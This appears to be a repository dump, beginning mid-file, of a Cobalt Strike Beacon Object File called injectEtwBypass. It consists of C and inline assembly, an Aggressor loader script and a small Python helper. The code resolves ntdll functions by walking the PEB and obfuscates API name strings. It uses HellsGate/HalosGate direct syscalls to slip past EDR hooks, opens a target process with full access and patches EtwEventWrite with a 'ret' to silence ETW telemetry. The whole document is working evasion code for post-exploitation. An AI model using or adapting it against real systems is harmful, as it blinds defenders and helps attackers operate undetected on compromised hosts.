93 | DWORD NtWriteVirtualMemorySyscall; 94 | tNtProtectVirtualMemory NtProtectVirtualMemory; 95 | DWORD NtProtectVirtualMemorySyscall; 96 | tNtOpenProcess NtOpenProcess; 97 | DWORD NtOpenProcessSyscall; 98 | PVOID pEtwEventWrite; 99 | }ntapis; 100 | 101 | void go(char * args, int len) { 102 | datap parser; 103 | DWORD pid; 104 | BeaconDataParse(&parser, args, len); 105 | pid = BeaconDataInt(&parser); 106 | BeaconPrintf(CALLBACK_OUTPUT, "Injecting NTDLL.EtwEventWrite bypass in remote process: %d (PID)", pid); 107 | Dll ntdll; 108 | // NTDL - String to find Ntdll 109 | CHAR ntdlStr[] = {'n','t','d','l',0}; 110 | //__debugbreak(); 111 | // Get base address of NTDLL.DLL from LDR.InMemoryOrderModuleList 112 | ntdll.dllBase = (PVOID)crawlLdrDllList((PVOID)ntdlStr); 113 | // Get Export Directory and Export Tables for NTDLL.DLL 114 | ntdll.Export.Directory = getExportDirectory(ntdll.dllBase); 115 | ntdll.Export.AddressTable = getExportAddressTable(ntdll.dllBase, ntdll.Export.Directory); 116 | ntdll.Export.NameTable = getExportNameTable(ntdll.dllBase, ntdll.Export.Directory); 117 | ntdll.Export.OrdinalTable = getExportOrdinalTable(ntdll.dllBase, ntdll.Export.Directory); 118 | ntapis nt; 119 | // ######### NTDLL.EtwEventWrite Bypass 120 | // Credit: @_xpn_ & @ajpc500 // https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/ & https://github.com/ajpc500/BOFs/blob/main/ETW/etw.c 121 | char EtwEventWriteStr[16]; 122 | // python reverse.py EtwEventWrite 123 | // String length : 13 124 | // etirW : 6574697257 125 | // tnevEwtE : 746e657645777445 126 | __asm__( 127 | "mov rsi, %[EtwEventWriteStr] \n" 128 | "mov r8, 0xFFFFFF9A8B968DA8 \n" // NOT etirW : 6574697257 129 | "mov rdx, 0x8B919A89BA888BBA \n" // NOT tnevEwtE : 746e657645777445 130 | "not rdx \n" 131 | "not r8 \n" 132 | "mov [rsi], rdx \n" 133 | "mov [rsi+0x8], r8 \n" 134 | : // no output 135 | :[EtwEventWriteStr] "r" (EtwEventWriteStr) 136 | ); 137 | nt.pEtwEventWrite = getSymbolAddress(EtwEventWriteStr, (PVOID)13, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 138 | // NTDLL.NtProtectVirtualMemory 139 | CHAR NtProtectVirtualMemoryStr[] = {'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0}; 140 | nt.NtProtectVirtualMemory = getSymbolAddress(NtProtectVirtualMemoryStr, (PVOID)22, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 141 | // HalosGate/HellsGate to get the systemcall number for NtProtectVirtualMemory 142 | nt.NtProtectVirtualMemorySyscall = findSyscallNumber(nt.NtProtectVirtualMemory); 143 | if (nt.NtProtectVirtualMemorySyscall == 0) { 144 | DWORD index = 0; 145 | while (nt.NtProtectVirtualMemorySyscall == 0) { 146 | index++; 147 | // Check for unhooked Sycall Above the target stub 148 | nt.NtProtectVirtualMemorySyscall = halosGateUp(nt.NtProtectVirtualMemory, index); 149 | if (nt.NtProtectVirtualMemorySyscall) { 150 | nt.NtProtectVirtualMemorySyscall = nt.NtProtectVirtualMemorySyscall - index; 151 | break; 152 | } 153 | // Check for unhooked Sycall Below the target stub 154 | nt.NtProtectVirtualMemorySyscall = halosGateDown(nt.NtProtectVirtualMemory, index); 155 | if (nt.NtProtectVirtualMemorySyscall) { 156 | nt.NtProtectVirtualMemorySyscall = nt.NtProtectVirtualMemorySyscall + index; 157 | break; 158 | } 159 | } 160 | } 161 | // NTDLL.NtWriteVirtualMemory 162 | // bobby.cooke$ python3 string2Array.py NtWriteVirtualMemoryStr NtWriteVirtualMemory 163 | CHAR NtWriteVirtualMemoryStr[] = {'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0}; 164 | nt.NtWriteVirtualMemory = getSymbolAddress(NtWriteVirtualMemoryStr, (PVOID)20, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 165 | nt.NtWriteVirtualMemorySyscall = findSyscallNumber(nt.NtWriteVirtualMemory); 166 | if (nt.NtWriteVirtualMemorySyscall == 0) { 167 | DWORD index = 0; 168 | while (nt.NtWriteVirtualMemorySyscall == 0) { 169 | index++; 170 | // Check for unhooked Sycall Above the target stub 171 | nt.NtWriteVirtualMemorySyscall = halosGateUp(nt.NtWriteVirtualMemory, index); 172 | if (nt.NtWriteVirtualMemorySyscall) { 173 | nt.NtWriteVirtualMemorySyscall = nt.NtWriteVirtualMemorySyscall - index; 174 | break; 175 | } 176 | // Check for unhooked Sycall Below the target stub 177 | nt.NtWriteVirtualMemorySyscall = halosGateDown(nt.NtWriteVirtualMemory, index); 178 | if (nt.NtWriteVirtualMemorySyscall) { 179 | nt.NtWriteVirtualMemorySyscall = nt.NtWriteVirtualMemorySyscall + index; 180 | break; 181 | } 182 | } 183 | } 184 | // NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL); 185 | CHAR NtOpenProcessStr[] = {'N','t','O','p','e','n','P','r','o','c','e','s','s',0}; 186 | nt.NtOpenProcess = getSymbolAddress(NtOpenProcessStr, (PVOID)13, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable); 187 | nt.NtOpenProcessSyscall = findSyscallNumber(nt.NtOpenProcess); 188 | if (nt.NtOpenProcessSyscall == 0) { 189 | DWORD index = 0; 190 | while (nt.NtOpenProcessSyscall == 0) { 191 | index++; 192 | // Check for unhooked Sycall Above the target stub 193 | nt.NtOpenProcessSyscall = halosGateUp(nt.NtOpenProcess, index); 194 | if (nt.NtOpenProcessSyscall) { 195 | nt.NtOpenProcessSyscall = nt.NtOpenProcessSyscall - index; 196 | break; 197 | } 198 | // Check for unhooked Sycall Below the target stub 199 | nt.NtOpenProcessSyscall = halosGateDown(nt.NtOpenProcess, index); 200 | if (nt.NtOpenProcessSyscall) { 201 | nt.NtOpenProcessSyscall = nt.NtOpenProcessSyscall + index; 202 | break; 203 | } 204 | } 205 | } 206 | // Call the resolved NT functions 207 | HANDLE hProc = NULL; 208 | //ttNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) 209 | OBJECT_ATTRIBUTES oa={sizeof(oa),0,NULL,0}; 210 | CLIENT_ID cid; 211 | // unsigned __int64 pid = 5736; 212 | //cid.pid = (HANDLE)8968; 213 | cid.pid = NULL; 214 | cid.UniqueThread = NULL; 215 | cid.pid = (HANDLE)pid; 216 | //__debugbreak(); 217 | // nt.NtOpenProcess(&hProc, 0x1FFFFF, &oa, &cid); 218 | HellsGate(nt.NtOpenProcessSyscall); 219 | HellDescent(&hProc, 0x1FFFFF, &oa, &cid); 220 | // ETW Bypass 221 | CHAR etwbypass[] = { 0xC3 }; // ret 222 | //unsigned __int64 etwbypassSize = 1; 223 | PVOID aligedETW = pageAlign(nt.pEtwEventWrite); 224 | unsigned __int64 memPage = 0x1000; 225 | // The variable for our memory protections as we toggle RX<->RW 226 | DWORD oldprotect = 0; 227 | // Change 0x1000 bytes of memory in NTDLL to RW so we can write the NTDLL.EtwEventWrite bypass 228 | // nt.NtProtectVirtualMemory(hProc, &aligedETW, (PSIZE_T)&memPage, PAGE_READWRITE, &oldprotect); 229 | HellsGate(nt.NtProtectVirtualMemorySyscall); 230 | HellDescent(hProc, &aligedETW, (PSIZE_T)&memPage, PAGE_READWRITE, &oldprotect); 231 | // Write the bypass to NTDLL.EtwEventWrite 232 | // nt.NtWriteVirtualMemory(hProc, nt.pEtwEventWrite, (PVOID)etwbypass, 1, (PVOID)0); 233 | HellsGate(nt.NtWriteVirtualMemorySyscall); 234 | HellDescent(hProc, nt.pEtwEventWrite, (PVOID)etwbypass, 1, (PVOID)0); 235 | // Change the memory permissions for NTDLL.EtwEventWrite back to RX 236 | // nt.NtProtectVirtualMemory(hProc, &aligedETW, (PSIZE_T)&memPage, oldprotect, &oldprotect); 237 | HellsGate(nt.NtProtectVirtualMemorySyscall); 238 | HellDescent(hProc, &aligedETW, (PSIZE_T)&memPage, oldprotect, &oldprotect); 239 | } 240 | 241 | __asm__( 242 | "findSyscallNumber: \n" 243 | "xor rsi, rsi \n" 244 | "xor rdi, rdi \n" 245 | "mov rsi, 0x00B8D18B4C \n" 246 | "mov edi, [rcx] \n" 247 | "cmp rsi, rdi \n" 248 | "jne error \n" 249 | "xor rax,rax \n" 250 | "mov ax, [rcx+4] \n" 251 | "ret \n" 252 | ); 253 | 254 | __asm__( 255 | "error: \n" 256 | "xor rax, rax \n" 257 | "ret \n" 258 | ); 259 | 260 | __asm__( 261 | "halosGateUp: \n" 262 | "xor rsi, rsi \n" 263 | "xor rdi, rdi \n" 264 | "mov rsi, 0x00B8D18B4C \n" 265 | "xor rax, rax \n" 266 | "mov al, 0x20 \n" 267 | "mul dx \n" 268 | "add rcx, rax \n" 269 | "mov edi, [rcx] \n" 270 | "cmp rsi, rdi \n" 271 | "jne error \n" 272 | "xor rax,rax \n" 273 | "mov ax, [rcx+4] \n" 274 | "ret \n" 275 | ); 276 | 277 | __asm__( 278 | "halosGateDown: \n" 279 | "xor rsi, rsi \n" 280 | "xor rdi, rdi \n" 281 | "mov rsi, 0x00B8D18B4C \n" 282 | "xor rax, rax \n" 283 | "mov al, 0x20 \n" 284 | "mul dx \n" 285 | "sub rcx, rax \n" 286 | "mov edi, [rcx] \n" 287 | "cmp rsi, rdi \n" 288 | "jne error \n" 289 | "xor rax,rax \n" 290 | "mov ax, [rcx+4] \n" 291 | "ret \n" 292 | ); 293 | 294 | __asm__( 295 | "HellsGate: \n" 296 | "xor r11, r11 \n" 297 | "mov r11d, ecx \n" 298 | "ret \n" 299 | ); 300 | 301 | __asm__( 302 | "HellDescent: \n" 303 | "xor rax, rax \n" 304 | "mov r10, rcx \n" 305 | "mov eax, r11d \n" 306 | "syscall \n" 307 | "ret \n" 308 | ); 309 | 310 | __asm__( 311 | "pageAlign: \n" 312 | "or cx,0xFFF \n" // This with +1 will align us to a memory page. 313 | "sub rcx, 0xFFF \n" 314 | "xchg rax, rcx \n" // return aligned page 315 | "ret" 316 | ); 317 | 318 | // Takes in the 4 first for characters of a DLL and returns the base address of that DLL module if it is already loaded into memory 319 | // PVOID crawlLdrDllList(wchar_t * dllName) 320 | __asm__( 321 | "crawlLdrDllList: \n" 322 | "xor rax, rax \n" // RAX = 0x0 323 | // Check if dllName string is ASCII or Unicode 324 | "mov rcx, [rcx] \n" // RCX = First 8 bytes of string 325 | "cmp ch, al \n" // Unicode then jump, else change ASCII to Unicode 4 bytes 326 | "je getMemList \n" 327 | "movq mm1, rcx \n" // MMX1 contains first 8 ASCII Chars 328 | "psllq mm1, 0x20 \n" // Set MMX1 to unpack first 4 bytes of Unicode string 329 | "pxor mm2, mm2 \n" // NULL out MMX2 Register 330 | "punpckhbw mm1, mm2 \n" // convert ASCII to Unicode and save first 4 bytes in MMX1 331 | "movq rcx, mm1 \n" // RCX = first 4 chars of DLL name 332 | "getMemList:" 333 | "mov rbx, gs:[rax+0x60] \n" // RBX = ProcessEnvironmentBlock // GS = TEB 334 | "mov rbx, [rbx+0x18] \n" // RBX = _PEB_LDR_DATA 335 | "mov rbx, [rbx+0x20] \n" // RBX = InMemoryOrderModuleList - First Entry (probably the host PE File) 336 | "mov r11, rbx \n" 337 | "crawl: \n" 338 | "mov rax, [rbx+0x50] \n" // RAX = BaseDllName Buffer - The actual Unicode bytes of the string (we skip the first 8 bytes of the _UNICODE_STRING struct to get the pointer to the buffer) 339 | "mov rax, [rax] \n" // RAX = First 4 Unicode bytes of the DLL string from the Ldr List 340 | "cmp rax, rcx \n" 341 | "je found \n" 342 | "mov rbx, [rbx] \n" // RBX = InMemoryOrderLinks Next Entry 343 | "cmp r11, [rbx] \n" // Are we back at the same entry in the list? 344 | "jne crawl \n" 345 | "xor rax, rax \n"// DLL is not in InMemoryOrderModuleList, return NULL 346 | "jmp end \n" 347 | "found: \n" 348 | "mov rax, [rbx+0x20] \n" // [rbx+0x20] = DllBase Address in process memory 349 | "end: \n" 350 | "ret \n" 351 | ); 352 | 353 | // Takes in the address of a DLL in memory and returns the DLL's Export Directory Address 354 | //PVOID getExportDirectory(PVOID dllBase) 355 | __asm__( 356 | "getExportDirectory: \n" 357 | "mov r8, rcx \n" 358 | "mov ebx, [rcx+0x3C] \n" 359 | "add rbx, r8 \n" 360 | "xor rcx, rcx \n" 361 | "add cx, 0x88 \n" 362 | "mov eax, [rbx+rcx] \n" 363 | "add rax, r8 \n" 364 | "ret \n" // return ExportDirectory; 365 | ); 366 | 367 | // Return the address of the Export Address Table 368 | // PVOID getExportAddressTable(PVOID dllBase, PVOID ExportDirectory) 369 | // RCX RDX 370 | __asm__( 371 | "getExportAddressTable: \n" 372 | "xor rax, rax \n" 373 | "add rdx, 0x1C \n" // DWORD AddressOfFunctions; // 0x1C offset // RDX = &RVAExportAddressTable 374 | "mov eax, [rdx] \n" // RAX = RVAExportAddressTable (Value/RVA) 375 | "add rax, rcx \n" // RAX = VA ExportAddressTable (The address of the Export table in running memory of the process) 376 | "ret \n" // return ExportAddressTable 377 | ); 378 | 379 | // Return the address of the Export Name Table 380 | // PVOID getExportNameTable(PVOID dllBase, PVOID ExportDirectory) 381 | // RCX RDX 382 | __asm__( 383 | "getExportNameTable: \n" 384 | "xor rax, rax \n" 385 | "add rdx, 0x20 \n" // DWORD AddressOfFunctions; // 0x20 offset 386 | "mov eax, [rdx] \n" // RAX = RVAExportAddressOfNames (Value/RVA) 387 | "add rax, rcx \n" // RAX = VA ExportAddressOfNames 388 | "ret \n" // return ExportNameTable; 389 | ); 390 | 391 | // Return the address of the Export Ordinal Table 392 | // PVOID getExportOrdinalTable(PVOID dllBase, PVOID ExportDirectory) 393 | // RCX RDX 394 | __asm__( 395 | "getExportOrdinalTable: \n" 396 | "xor rax, rax \n" 397 | "add rdx, 0x24 \n" // DWORD AddressOfNameOrdinals; // 0x24 offset 398 | "mov eax, [rdx] \n" // RAX = RVAExportAddressOfNameOrdinals (Value/RVA) 399 | "add rax, rcx \n" // RAX = VA ExportAddressOfNameOrdinals 400 | "ret \n" // return ExportOrdinalTable; 401 | ); 402 | 403 | // PVOID getSymbolAddress(PVOID symbolString, PVOID symbolStringSize, PVOID dllBase, PVOID ExportAddressTable, PVOID ExportNameTable, PVOID ExportOrdinalTable) 404 | __asm__( 405 | "getSymbolAddress: \n" 406 | "mov r10, [RSP+0x28] \n" // ExportNameTable 407 | "mov r11, [RSP+0x30] \n" // ExportOrdinalTable 408 | "xchg rcx, rdx \n" // RCX = symbolStringSize & RDX =symbolString 409 | "push rcx \n" // push str len to stack 410 | "xor rax, rax \n" 411 | "loopFindSymbol: \n" 412 | "mov rcx, [rsp] \n" // RCX/[RSP] = DWORD symbolStringSize (Reset string length counter for each loop) 413 | "xor rdi, rdi \n" // Clear RDI for setting up string name retrieval 414 | "mov edi, [r10+rax*4] \n" // EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] 415 | "add rdi, r8 \n" // RDI = &NameString = RVA NameString + &module.dll 416 | "mov rsi, rdx \n" // RSI = Address of API Name String to match on the Stack (reset to start of string) 417 | "repe cmpsb \n" // Compare strings at RDI & RSI 418 | "je FoundSymbol \n" // If match then we found the API string. Now we need to find the Address of the API 419 | "inc rax \n" // Increment to check if the next name matches 420 | "jmp short loopFindSymbol \n" // Jump back to start of loop 421 | "FoundSymbol: \n" 422 | "pop rcx \n" // Remove string length counter from top of stack 423 | "mov ax, [r11+rax*2] \n" // RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of module. 424 | "mov eax, [r9+rax*4] \n" // RAX = RVA API = [&AddressTable + API OrdinalNumber] 425 | "add rax, r8 \n" // RAX = module. = RVA module. + module.dll BaseAddress 426 | "sub r11, rax \n" // See if our symbol address is greater than the OrdinalTable Address. If so its a forwarder to a different API 427 | "jns isNotForwarder \n" // If forwarder, result will be negative and Sign Flag is set (SF), jump not sign = jns 428 | "xor rax, rax \n" // If forwarder, return 0x0 and exit 429 | "isNotForwarder: \n" 430 | "ret \n" 431 | ); 432 | -------------------------------------------------------------------------------- /injectEtwBypass.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "injectEtwBypass", 3 | "Inject ETW Bypass into Remote Process via Syscalls (HellsGate|HalosGate)", 4 | "Synopsis: injectEtwBypass PID" 5 | ); 6 | 7 | alias injectEtwBypass { 8 | if(size(@_) != 2) 9 | { 10 | berror($1, "Incorrect usage!"); 11 | berror($1, beacon_command_detail("injectEtwBypass")); 12 | return; 13 | } 14 | local('$handle $data $args'); 15 | $handle = openf(script_resource("injectEtwBypass.o")); 16 | $data = readb($handle, -1); 17 | closef($handle); 18 | $args = bof_pack($1, "i",$2); 19 | btask($1, "Inject ETW Bypass (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7)"); 20 | beacon_inline_execute($1, $data, "go", $args); 21 | } 22 | -------------------------------------------------------------------------------- /string2Array.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | name = sys.argv[1] 4 | input = sys.argv[2] 5 | charArray = 'CHAR {}[] = {}'.format(name,'{') 6 | for char in input: 7 | tmp = "'{}',".format(char) 8 | charArray += tmp 9 | charArray += '0{};'.format('}') 10 | print(charArray) --------------------------------------------------------------------------------